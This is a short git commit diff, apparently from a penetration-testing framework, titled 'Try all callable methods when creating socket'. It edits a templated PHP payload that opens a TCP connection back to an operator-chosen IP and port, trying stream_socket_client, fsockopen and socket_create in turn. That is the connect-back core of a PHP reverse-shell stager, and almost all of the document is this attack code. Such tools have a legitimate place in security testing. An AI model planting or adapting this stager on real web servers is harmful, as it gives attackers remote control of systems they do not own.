Try all callable methods when creating socket

bug/bundler_fix
Dave Farrow 2017-07-09 11:26:57 -07:00
parent 75c571de83
commit e8d4ad8a89
No known key found for this signature in database
GPG Key ID: FA9448FAF16F2BD5
1 changed files with 6 additions and 3 deletions

View File

@ -60,15 +60,18 @@ $port = #{opts[:port]};
if (($f = 'stream_socket_client') && is_callable($f)) {
$s = $f("tcp://{$ip}:{$port}");
$s_type = 'stream';
} elseif (($f = 'fsockopen') && is_callable($f)) {
}
if (!$s && ($f = 'fsockopen') && is_callable($f)) {
$s = $f($ip, $port);
$s_type = 'stream';
} elseif (($f = 'socket_create') && is_callable($f)) {
}
if (!$s && ($f = 'socket_create') && is_callable($f)) {
$s = $f(#{ipf}, SOCK_STREAM, SOL_TCP);
$res = @socket_connect($s, $ip, $port);
if (!$res) { die(); }
$s_type = 'socket';
} else {
}
if (!$s_type) {
die('no socket funcs');
}
if (!$s) { die('no socket'); }